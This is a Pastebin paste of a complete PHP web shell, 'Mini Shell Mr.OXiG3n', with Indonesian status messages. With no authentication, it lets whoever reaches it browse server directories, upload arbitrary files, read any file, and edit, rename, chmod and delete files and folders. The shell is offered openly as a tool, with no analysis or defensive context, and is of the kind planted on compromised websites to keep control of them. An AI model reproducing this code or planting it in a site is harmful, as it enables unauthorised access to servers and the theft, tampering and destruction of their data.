Advertisement
MrOXiG3n

Mini Shell

Mar 22nd, 2020
3,394
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.26 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. set_time_limit(0);
  4.  
  5. if(get_magic_quotes_gpc()){
  6. foreach($_POST as $key=>$value){
  7. $_POST[$key] = stripslashes($value);
  8. }
  9. }
  10. echo '<!DOCTYPE HTML>
  11. <html>
  12. <head>
  13. <link href="" rel="stylesheet" type="text/css">
  14. <title>Mr.OXiG3n Shell</title>
  15. <style>
  16. div#container{ width: 931px; position: relative; margin-top: 0px; margin-left: auto; margin-right: auto; text-align: left;}
  17.  
  18. html {
  19. color: white;
  20. }
  21. body {
  22. background: #000;
  23. color: #fff;
  24. font-family: ;
  25. }
  26. a {
  27. color: white;
  28. text-decoration: none;
  29. }
  30. a:hover{
  31. color:blue;
  32. text-shadow:0px 0px 10px #ffffff;
  33. }
  34. input,select,textarea{
  35. border: 1px #000000 solid;
  36. -moz-border-radius: 5px;
  37. -webkit-border-radius:5px;
  38. border-radius:5px;
  39. }
  40. #content tr:hover{
  41. background-color: #191919;
  42. text-shadow:0px 0px 10px #fff;
  43. }
  44.  
  45. #content .first{
  46. background-color: #191919;
  47. }
  48. hr {
  49. color: white;
  50. }
  51. table{
  52. border: 1px #000000 dotted;
  53. }
  54. textarea {
  55. border: 1px solid white;
  56. color: white;
  57. background: transparent;
  58. }
  59. li {
  60. display: inline;
  61. margin: 5px;
  62. color: aqua;
  63. }
  64. .i {
  65. color: white;
  66. }
  67. input { background: transparent; color: white; border: 1px solid white; }
  68. select { background: transparent; color: white; border: 1px solid white; }
  69. .aw { background: transparent; color: aqua; border: 1px solid aqua; padding: 5px; width: 30%;}
  70. </style>
  71. </head>
  72. <body>
  73. </center>
  74. <h1>
  75. <center>
  76. <font color="lime">Mini Shell Mr.OXiG3n</font>
  77. </center>
  78. </h1>
  79. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  80. <tr><td><font color="white">Path :</font> ';
  81. if(isset($_GET['path'])){
  82. $path = $_GET['path'];
  83. }else{
  84. $path = getcwd();
  85. }
  86. $path = str_replace('\\','/',$path);
  87. $paths = explode('/',$path);
  88.  
  89. foreach($paths as $id=>$pat){
  90. if($pat == '' && $id == 0){
  91. $a = true;
  92. echo '<a href="?path=/">/</a>';
  93. continue;
  94. }
  95. if($pat == '') continue;
  96. echo '<a href="?path=';
  97. for($i=0;$i<=$id;$i++){
  98. echo "$paths[$i]";
  99. if($i != $id) echo "/";
  100. }
  101. echo '">'.$pat.'</a>/';
  102. }
  103. echo '</td></tr><tr><td>';
  104. $file = $_FILES['files']['name'];
  105. if(isset($_FILES['file'])){
  106. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  107. echo '<font color="lime">Berhasil Upload</font<A href="$file" target="_blank">$file</A>><br />';
  108. }else{
  109. echo '<font color="pink">Gagal Upload,Cek Permission</font><br/>';
  110. }
  111. }
  112. echo '<form enctype="multipart/form-data" method="POST">
  113. <font color="white">File Upload :</font> <input type="file" name="file" />
  114. <input type="submit" value="upload" />
  115. </form>
  116. </td></tr>';
  117. if(isset($_GET['filesrc'])){
  118. echo "<tr><td>Current File : ";
  119. echo $_GET['filesrc'];
  120. echo '</tr></td></table><br />';
  121. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  122. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  123. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  124. if($_POST['opt'] == 'chmod'){
  125. if(isset($_POST['perm'])){
  126. if(chmod($_POST['path'],$_POST['perm'])){
  127. echo '<font color="lime">Change Permission Berhasil</font><br/>';
  128. }else{
  129. echo '<font color="pink">Change Permission Gagal</font><br />';
  130. }
  131. }
  132. echo '<form method="POST">
  133. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  134. <input type="hidden" name="path" value="'.$_POST['path'].'">
  135. <input type="hidden" name="opt" value="chmod">
  136. <input type="submit" value="Go" />
  137. </form>';
  138. }elseif($_POST['opt'] == 'rename'){
  139. if(isset($_POST['newname'])){
  140. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  141. echo '<font color="lime">Ganti Nama Berhasil</font><br/>';
  142. }else{
  143. echo '<font color="pink">Ganti Nama Gagal</font><br />';
  144. }
  145. $_POST['name'] = $_POST['newname'];
  146. }
  147. echo '<form method="POST">
  148. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  149. <input type="hidden" name="path" value="'.$_POST['path'].'">
  150. <input type="hidden" name="opt" value="rename">
  151. <input type="submit" value="Go" />
  152. </form>';
  153. }elseif($_POST['opt'] == 'edit'){
  154. if(isset($_POST['src'])){
  155. $fp = fopen($_POST['path'],'w');
  156. if(fwrite($fp,$_POST['src'])){
  157. echo '<font color="lime">Berhasil Edit File, gud anjg</font><br/>';
  158. }else{
  159. echo '<font color="pink">Gagal Edit File , Cek Permission Dir :D</font><br/>';
  160. }
  161. fclose($fp);
  162. }
  163. echo '<form method="POST">
  164. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  165. <input type="hidden" name="path" value="'.$_POST['path'].'">
  166. <input type="hidden" name="opt" value="edit">
  167. <input type="submit" value="Save" />
  168. </form>';
  169. }
  170. echo '</center>';
  171. }else{
  172. echo '</table><br/><center>';
  173. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  174. if($_POST['type'] == 'dir'){
  175. if(rmdir($_POST['path'])){
  176. echo '<font color="lime">Directory Terhapus</font><br/>';
  177. }else{
  178. echo '<font color="pink">Directory Gagal Terhapus </font><br/>';
  179. }
  180. }elseif($_POST['type'] == 'file'){
  181. if(unlink($_POST['path'])){
  182. echo '<font color="lime">File Terhapus</font><br/>';
  183. }else{
  184. echo '<font color="pink">File Gagal Dihapus</font><br/>';
  185. }
  186. }
  187. }
  188. echo '</center>';
  189. $scandir = scandir($path);
  190. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  191. <tr class="first">
  192. <td><center>Name</peller></center></td>
  193. <td><center>Size</peller></center></td>
  194. <td><center>Permission</peller></center></td>
  195. <td><center>Modify</peller></center></td>
  196. </tr>';
  197.  
  198. foreach($scandir as $dir){
  199. if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
  200. echo '<tr>
  201. <td><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
  202. <td><center>--</center></td>
  203. <td><center>';
  204. if(is_writable($path.'/'.$dir)) echo '<font color="lime">';
  205. elseif(!is_readable($path.'/'.$dir)) echo '<font color="pink">';
  206. echo perms($path.'/'.$dir);
  207. if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';
  208.  
  209. echo '</center></td>
  210. <td><center><form method="POST" action="?option&path='.$path.'">
  211. <select name="opt">
  212. <option value="">Select</option>
  213. <option value="delete">Delete</option>
  214. <option value="chmod">Chmod</option>
  215. <option value="rename">Rename</option>
  216. </select>
  217. <input type="hidden" name="type" value="dir">
  218. <input type="hidden" name="name" value="'.$dir.'">
  219. <input type="hidden" name="path" value="'.$path.'/'.$dir.'">
  220. <input type="submit" value=">">
  221. </form></center></td>
  222. </tr>';
  223. }
  224. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  225. foreach($scandir as $file){
  226. if(!is_file($path.'/'.$file)) continue;
  227. $size = filesize($path.'/'.$file)/1024;
  228. $size = round($size,3);
  229. if($size >= 1024){
  230. $size = round($size/1024,2).' MB';
  231. }else{
  232. $size = $size.' KB';
  233. }
  234.  
  235. echo '<tr>
  236. <td><a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td>
  237. <td><center>'.$size.'</center></td>
  238. <td><center>';
  239. if(is_writable($path.'/'.$file)) echo '<font color="lime">';
  240. elseif(!is_readable($path.'/'.$file)) echo '<font color="pink">';
  241. echo perms($path.'/'.$file);
  242. if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
  243. echo '</center></td>
  244. <td><center><form method="POST" action="?option&path='.$path.'">
  245. <select name="opt">
  246. <option value="">Select</option>
  247. <option value="delete">Delete</option>
  248. <option value="chmod">Chmod</option>
  249. <option value="rename">Rename</option>
  250. <option value="edit">Edit</option>
  251. </select>
  252. <input type="hidden" name="type" value="file">
  253. <input type="hidden" name="name" value="'.$file.'">
  254. <input type="hidden" name="path" value="'.$path.'/'.$file.'">
  255. <input type="submit" value=">">
  256. </form></center></td>
  257. </tr>';
  258.  
  259. }
  260. echo '</table>
  261. </div>';
  262. }
  263. echo "<font color='red'><br><tr><center><a href='?'>Home</a></center></font>";
  264. echo '</body>
  265. </html>';
  266. if($_GET['logout'] == true) {
  267. unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  268. echo "<script>window.location='?';</script>";
  269. }
  270. echo '<center><br/>INDONESIAN ERROR SYSTEM</center>
  271. </body>
  272. </html>';
  273. function perms($file){
  274. $perms = fileperms($file);
  275.  
  276. if (($perms & 0xC000) == 0xC000) {
  277. // Socket
  278. $info = 's';
  279. } elseif (($perms & 0xA000) == 0xA000) {
  280. // Symbolic Link
  281. $info = 'l';
  282. } elseif (($perms & 0x8000) == 0x8000) {
  283. // Regular
  284. $info = '-';
  285. } elseif (($perms & 0x6000) == 0x6000) {
  286. // Block special
  287. $info = 'b';
  288. } elseif (($perms & 0x4000) == 0x4000) {
  289. // Directory
  290. $info = 'd';
  291. } elseif (($perms & 0x2000) == 0x2000) {
  292. // Character special
  293. $info = 'c';
  294. } elseif (($perms & 0x1000) == 0x1000) {
  295. // FIFO pipe
  296. $info = 'p';
  297. } else {
  298. // Unknown
  299. $info = 'u';
  300. }
  301.  
  302. // Owner
  303. $info .= (($perms & 0x0100) ? 'r' : '-');
  304. $info .= (($perms & 0x0080) ? 'w' : '-');
  305. $info .= (($perms & 0x0040) ?
  306. (($perms & 0x0800) ? 's' : 'x' ) :
  307. (($perms & 0x0800) ? 'S' : '-'));
  308.  
  309. // Group
  310. $info .= (($perms & 0x0020) ? 'r' : '-');
  311. $info .= (($perms & 0x0010) ? 'w' : '-');
  312. $info .= (($perms & 0x0008) ?
  313. (($perms & 0x0400) ? 's' : 'x' ) :
  314. (($perms & 0x0400) ? 'S' : '-'));
  315.  
  316. // World
  317. $info .= (($perms & 0x0004) ? 'r' : '-');
  318. $info .= (($perms & 0x0002) ? 'w' : '-');
  319. $info .= (($perms & 0x0001) ?
  320. (($perms & 0x0200) ? 't' : 'x' ) :
  321. (($perms & 0x0200) ? 'T' : '-'));
  322.  
  323. return $info;
  324. }
  325. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement